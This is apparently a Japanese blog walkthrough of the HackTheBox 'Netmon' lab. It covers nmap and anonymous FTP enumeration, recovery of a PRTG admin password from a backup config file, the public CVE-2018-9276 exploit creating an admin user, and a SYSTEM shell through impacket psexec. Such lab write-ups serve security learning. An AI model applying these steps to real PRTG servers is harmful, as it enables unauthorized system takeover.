HackTheBox Netmon Walkthrough
Netmonもクリアしていたので、Walkthroughを書く。
このマシン、User取るのは本当にあっけなかった。rootはそれなり。
目次
Recon
Nmap
対象はWindows Server2008-2012 R2、そしてFTPがanonymousユーザで入れる。
FTPで入った先から、ディレクトリを遡れるかもしれない。
┌──(kali㉿kali)-[~] └─$ sudo nmap -A -Pn 10.129.96.142 [sudo] kali のパスワード: Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-07 13:03 JST Nmap scan report for 10.129.96.142 Host is up (0.37s latency). Not shown: 995 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 02-03-19 12:18AM 1024 .rnd | 02-25-19 10:15PM <DIR> inetpub | 07-16-16 09:18AM <DIR> PerfLogs | 02-25-19 10:56PM <DIR> Program Files | 02-03-19 12:28AM <DIR> Program Files (x86) | 02-03-19 08:08AM <DIR> Users |_02-25-19 11:49PM <DIR> Windows 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |_http-trane-info: Problem with XML parsing of /evox/about | http-title: Welcome | PRTG Network Monitor (NETMON) |_Requested resource was /index.htm |_http-server-header: PRTG/18.1.37.13946 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=5/7%OT=21%CT=1%CU=37628%PV=Y%DS=2%DC=T%G=Y%TM=6275F1E5 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=F7%GCD=1%ISR=109%TI=I%CI=I%TS=A)SEQ(SP=F7% OS:GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=A)OPS(O1=M54BNW8ST11%O2=M54BNW8ST11 OS:%O3=M54BNW8NNT11%O4=M54BNW8ST11%O5=M54BNW8ST11%O6=M54BST11)WIN(W1=2000%W OS:2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54BNW OS:8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0 OS:%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4 OS:(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+% OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y% OS:T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%R OS:ID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2022-05-07T04:13:17 |_ start_date: 2022-05-07T03:52:51 TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 349.36 ms 10.10.16.1 2 171.10 ms 10.129.96.142 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 606.26 seconds
FTPの調査
早速入ってみると、あっさりUserのディレクトリにたどり着いた。
user.txtをダウンロードして中身を確認。
┌──(kali㉿kali)-[~] └─$ ftp 10.129.96.142 Connected to 10.129.96.142. 220 Microsoft FTP Service Name (10.129.96.142:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> dir 229 Entering Extended Passive Mode (|||50082|) 125 Data connection already open; Transfer starting. 02-03-19 12:18AM 1024 .rnd 02-25-19 10:15PM <DIR> inetpub 07-16-16 09:18AM <DIR> PerfLogs 02-25-19 10:56PM <DIR> Program Files 02-03-19 12:28AM <DIR> Program Files (x86) 02-03-19 08:08AM <DIR> Users 02-25-19 11:49PM <DIR> Windows 226 Transfer complete. ftp> cd Users 250 CWD command successful. ftp> dir 229 Entering Extended Passive Mode (|||50085|) 125 Data connection already open; Transfer starting. 02-25-19 11:44PM <DIR> Administrator 02-03-19 12:35AM <DIR> Public 226 Transfer complete. ftp> cd Public 250 CWD command successful. ftp> dir 229 Entering Extended Passive Mode (|||50092|) 125 Data connection already open; Transfer starting. 02-03-19 08:05AM <DIR> Documents 07-16-16 09:18AM <DIR> Downloads 07-16-16 09:18AM <DIR> Music 07-16-16 09:18AM <DIR> Pictures 05-06-22 11:53PM 34 user.txt 07-16-16 09:18AM <DIR> Videos 226 Transfer complete. ftp> get user.txt local: user.txt remote: user.txt 229 Entering Extended Passive Mode (|||50097|) 150 Opening ASCII mode data connection. 100% |***************************************************************************| 34 0.04 KiB/s 00:00 ETA 226 Transfer complete. 34 bytes received in 00:00 (0.03 KiB/s) ftp> cd ../ 250 CWD command successful. ftp> dir 229 Entering Extended Passive Mode (|||50102|) c125 Data connection already open; Transfer starting. 02-25-19 11:44PM <DIR> Administrator 02-03-19 12:35AM <DIR> Public 226 Transfer complete. ftp> cd Administrator 550 Access is denied. ftp> bye 221 Goodbye. ┌──(kali㉿kali)-[~] └─$ cat user.txt ac84c7ece6ae0365db72ddf309a0ce1e
user.txtはあっさり取れてしまったが、Administratorまでは入れない。
権限昇格をしないとダメそう。
Webの調査
PRTG NetworkMonitorのログイン画面が出てきた。
ここに入ってみたいけれど、ログイン情報がないので入る方法を考えたい。
Gobusterが不発に終わったのでディレクトリ列挙は諦めて、
PRTG NetworkMonitorについて調べたほうが良さそう。
権限昇格
さて、ここからが正念場。さすがにそう簡単にrootは取らせてくれまい...
PRTG NetworkMonitor
デフォルトのログイン情報は、prtgadmin/prtgadmin
と調べたら出てきたので試したが、
すでに変えられてしまっていて入れない。
Nmapの結果から、使用バージョンは18.1.37.13946だった。
権限昇格に使えそうなexploitをsearchsploit
で探す。
┌──(kali㉿kali)-[~] └─$ searchsploit PRTG 1 ⨯ -------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------- --------------------------------- PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | windows/webapps/46527.sh PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS | windows/webapps/49156.txt PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) | windows_x86/dos/44500.py PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting | java/webapps/34108.txt -------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
コマンド実行に使えそうなものは、一番上に出ている46527.sh
だけ。
それも管理者権限をすでに手に入れてないと使えない。
使用している脆弱性は、CVE-2018-9276。
バージョンが18.2.39以前のPRTG NetworkMonitorについて、管理者権限でWebコンソールに
ログイン可能な場合、OSコマンドインジェクションができてしまう。なかなか怖い。
一旦この情報を控えておいて、もう少し調査をすることにした。
FTPの調査続き
どこかにログイン情報あるんじゃないのと思い、もう一度FTPでサーバの中身を確認する。
隠しディレクトリも含め全表示すると、/ProgramData/Paessler/PRTG Network Monitor
に
設定ファイルがごろごろ転がっている。
ftp> dir -a 229 Entering Extended Passive Mode (|||52158|) 125 Data connection already open; Transfer starting. 11-20-16 10:46PM <DIR> $RECYCLE.BIN 02-03-19 12:18AM 1024 .rnd 11-20-16 09:59PM 389408 bootmgr 07-16-16 09:10AM 1 BOOTNXT 02-03-19 08:05AM <DIR> Documents and Settings 02-25-19 10:15PM <DIR> inetpub 05-06-22 11:52PM 738197504 pagefile.sys 07-16-16 09:18AM <DIR> PerfLogs 02-25-19 10:56PM <DIR> Program Files 02-03-19 12:28AM <DIR> Program Files (x86) 12-15-21 10:40AM <DIR> ProgramData 02-03-19 08:05AM <DIR> Recovery 02-03-19 08:04AM <DIR> System Volume Information 02-03-19 08:08AM <DIR> Users 02-25-19 11:49PM <DIR> Windows 226 Transfer complete. ftp> cd ProgramData 250 CWD command successful. ftp> dir 229 Entering Extended Passive Mode (|||52160|) 125 Data connection already open; Transfer starting. 12-15-21 10:40AM <DIR> Corefig 02-03-19 12:15AM <DIR> Licenses 11-20-16 10:36PM <DIR> Microsoft 02-03-19 12:18AM <DIR> Paessler 02-03-19 08:05AM <DIR> regid.1991-06.com.microsoft 07-16-16 09:18AM <DIR> SoftwareDistribution 02-03-19 12:15AM <DIR> TEMP 11-20-16 10:19PM <DIR> USOPrivate 11-20-16 10:19PM <DIR> USOShared 02-25-19 10:56PM <DIR> VMware 226 Transfer complete. ftp> cd Paessler 250 CWD command successful. ftp> dir 229 Entering Extended Passive Mode (|||52161|) 125 Data connection already open; Transfer starting. 05-07-22 03:22AM <DIR> PRTG Network Monitor 226 Transfer complete. ftp> cd "PRTG Network Monitor" 250 CWD command successful. ftp> dir -a 229 Entering Extended Passive Mode (|||52163|) 125 Data connection already open; Transfer starting. 12-15-21 08:23AM <DIR> Configuration Auto-Backups 05-07-22 12:03AM <DIR> Log Database 02-03-19 12:18AM <DIR> Logs (Debug) 02-03-19 12:18AM <DIR> Logs (Sensors) 02-03-19 12:18AM <DIR> Logs (System) 05-07-22 12:03AM <DIR> Logs (Web Server) 05-06-22 11:58PM <DIR> Monitoring Database 02-25-19 10:54PM 1189697 PRTG Configuration.dat 02-25-19 10:54PM 1189697 PRTG Configuration.old 07-14-18 03:13AM 1153755 PRTG Configuration.old.bak 05-07-22 03:22AM 1713430 PRTG Graph Data Cache.dat 02-25-19 11:00PM <DIR> Report PDFs 02-03-19 12:18AM <DIR> System Information Database 02-03-19 12:40AM <DIR> Ticket Database 02-03-19 12:18AM <DIR> ToDo Database 226 Transfer complete. ftp> pwd Remote directory: /ProgramData/Paessler/PRTG Network Monitor
設定ファイルのバックアップがあったので確保。
ftp> get "PRTG Configuration.old" local: PRTG Configuration.old remote: PRTG Configuration.old 229 Entering Extended Passive Mode (|||52200|) 150 Opening ASCII mode data connection. 7% |***** | 92667 90.44 KiB/s 00:11 ETAftp: Reading from network: システムコール割り込み 0% | | -1 0.00 KiB/s --:-- ETA 550 The specified network name is no longer available. ftp> get "PRTG Configuration.old.bak" local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak 229 Entering Extended Passive Mode (|||52205|) 125 Data connection already open; Transfer starting. 14% |********** | 166 KiB 166.42 KiB/s 00:05 ETAftp: Reading from network: システムコール割り込み 0% | | -1 0.00 KiB/s --:-- ETA 550 The specified network name is no longer available. ftp> get "PRTG Configuration.dat" local: PRTG Configuration.dat remote: PRTG Configuration.dat 229 Entering Extended Passive Mode (|||52210|) 125 Data connection already open; Transfer starting. 7% |***** | 92667 90.45 KiB/s 00:11 ETAftp: Reading from network: システムコール割り込み 0% | | -1 0.00 KiB/s --:-- ETA 550 The specified network name is no longer available. ftp>
バックアップファイルの中身を見てみる。PRTG Configuration.old.bak
の中にこんな記載が。
これはまさか、ポータルのパスワードかな?
<dbpassword> <!-- User: prtgadmin --> PrTg@dmin2018 </dbpassword>
PRTG Configuration.old
やPRTG Configuration.dat
だとこんな感じなので、
ある時点でパスワードの記載を消したと思われる。
<dbpassword> <flags> <encrypted/> </flags> </dbpassword>
そのまま見つけたパスワードをポータルに入力しても入れなかった。
最後の4桁が2018になっているので、多分これ年号ではと思い、2019に変えたらログインできた。
よく見ると新しそうな設定ファイルは2019年にできたものだった。
実際、パスワードが載っているファイルは2018年にできたものだった。
翌年の設定変更時に変えたようだ。
ログイン情報は、prtgadmin/PrTg@dmin2019
Exploit
もう一度さっき見つけたExploitに立ち返る。
さっきのExploitをローカルにコピーしておく。
私はExploitDBのWebサイトを見て、そこからダウンロードすることが多いが、
searchsploitでも、serchsploit -m 使いたいExploit名
でローカルコピーが可能。
Exploitの中身はWebサイトで確認して、コピーはsearchsploitでやっても良さそう。
使い方を確認すると、URLとポータルにアクセスした時のCookieが実行パラメータとして必要らしい。
なので、ポータルにログインした状態のCookieを控えておく。
┌──(kali㉿kali)-[~] └─$ searchsploit PRTG -------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------- --------------------------------- PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | windows/webapps/46527.sh PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS | windows/webapps/49156.txt PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) | windows_x86/dos/44500.py PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting | java/webapps/34108.txt -------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ┌──(kali㉿kali)-[~] └─$ searchsploit -m 46527.sh Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution URL: https://www.exploit-db.com/exploits/46527 Path: /usr/share/exploitdb/exploits/windows/webapps/46527.sh File Type: Bourne-Again shell script, ASCII text executable, with very long lines (2429) Copied to: /home/kali/46527.sh
これで実行してみる。
./46527.sh -u http://10.129.96.142 -c "_ga=GA1.4.1893321807.1651897988; _gid=GA1.4.1873659639.1651897988; OCTOPUS1813713946=e0RDRUY2Nzc3LTUyNjgtNEQxMS1BRUQ4LUM5RjhDM0FERUFFNn0%3D; _gat=1"
┌──(kali㉿kali)-[~] └─$ ./46527.sh -u http://10.129.96.142 -c "_ga=GA1.4.1893321807.1651897988; _gid=GA1.4.1873659639.1651897988; OCTOPUS1813713946=e0RDRUY2Nzc3LTUyNjgtNEQxMS1BRUQ4LUM5RjhDM0FERUFFNn0%3D; _gat=1" [+]#########################################################################[+] [*] Authenticated PRTG network Monitor remote code execution [*] [+]#########################################################################[+] [*] Date: 11/03/2019 [*] [+]#########################################################################[+] [*] Author: https://github.com/M4LV0 lorn3m4lvo@protonmail.com [*] [+]#########################################################################[+] [*] Vendor Homepage: https://www.paessler.com/prtg [*] [*] Version: 18.2.38 [*] [*] CVE: CVE-2018-9276 [*] [*] Reference: https://www.codewatch.org/blog/?p=453 [*] [+]#########################################################################[+] # login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script. # run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!' [+]#########################################################################[+] [*] file created [*] sending notification wait.... [*] adding a new user 'pentest' with password 'P3nT3st' [*] sending notification wait.... [*] adding a user pentest to the administrators group [*] sending notification wait.... [*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun!
管理者権限を持つpentestユーザができたので、これでログインしたい。
パスワードは、P3nT3st!で作ってくれたようだ。
では、ログインする時はどうすればいいのか?探してみると、便利なツールがあった
Linux から、リモートの Windows のコマンドを実行:impacket
GitHubのコードをそのままクローンし、使える状態にしてから、今回はpsexec.pyを実行する。
これはLinuxからWindowsリモートサーバにアクセスし、コマンド実行をすることができるツール。
┌──(kali㉿kali)-[~/tools/impacket/examples] └─$ python3 psexec.py 'pentest:P3nT3st!@10.129.96.142' 130 ⨯ Impacket v0.10.1.dev1+20220504.120002.d5097759 - Copyright 2022 SecureAuth Corporation [*] Requesting shares on 10.129.96.142..... [*] Found writable share ADMIN$ [*] Uploading file bUzLTyeP.exe [*] Opening SVCManager on 10.129.96.142..... [*] Creating service kmIb on 10.129.96.142..... [*] Starting service kmIb..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system C:\Windows\system32> cd ../../ C:\> dir Volume in drive C has no label. Volume Serial Number is 0EF5-E5E5 Directory of C:\ 02/03/2019 12:18 AM 1,024 .rnd 02/25/2019 10:15 PM <DIR> inetpub 07/16/2016 09:18 AM <DIR> PerfLogs 02/25/2019 10:56 PM <DIR> Program Files 02/03/2019 12:28 AM <DIR> Program Files (x86) 02/03/2019 08:08 AM <DIR> Users 05/07/2022 08:47 AM <DIR> Windows 1 File(s) 1,024 bytes 6 Dir(s) 6,758,326,272 bytes free C:\> cd Users C:\Users> dir Volume in drive C has no label. Volume Serial Number is 0EF5-E5E5 Directory of C:\Users 02/03/2019 08:08 AM <DIR> . 02/03/2019 08:08 AM <DIR> .. 02/25/2019 11:44 PM <DIR> Administrator 05/07/2022 08:20 AM <DIR> Public 0 File(s) 0 bytes 4 Dir(s) 6,758,326,272 bytes free C:\Users> cd Administrator C:\Users\Administrator> dir Volume in drive C has no label. Volume Serial Number is 0EF5-E5E5 Directory of C:\Users\Administrator 02/25/2019 11:58 PM <DIR> . 02/25/2019 11:58 PM <DIR> .. 02/03/2019 08:08 AM <DIR> Contacts 02/03/2019 12:35 AM <DIR> Desktop 02/03/2019 08:08 AM <DIR> Documents 02/03/2019 08:08 AM <DIR> Downloads 02/03/2019 08:08 AM <DIR> Favorites 02/03/2019 08:08 AM <DIR> Links 02/03/2019 08:08 AM <DIR> Music 02/03/2019 08:08 AM <DIR> Pictures 02/03/2019 08:08 AM <DIR> Saved Games 02/03/2019 08:08 AM <DIR> Searches 02/25/2019 11:06 PM <DIR> Videos 0 File(s) 0 bytes 13 Dir(s) 6,758,326,272 bytes free C:\Users\Administrator> cd Desktop C:\Users\Administrator\Desktop> dir Volume in drive C has no label. Volume Serial Number is 0EF5-E5E5 Directory of C:\Users\Administrator\Desktop 02/03/2019 12:35 AM <DIR> . 02/03/2019 12:35 AM <DIR> .. 05/06/2022 11:53 PM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 6,758,326,272 bytes free C:\Users\Administrator\Desktop> type root.txt
impacketのpsexec.py、便利だった。Windowsサーバで認証情報が分かっている時はぜひ使いたい。
searchsploitももう少し使い方を覚えると動きやすいのかなと思った。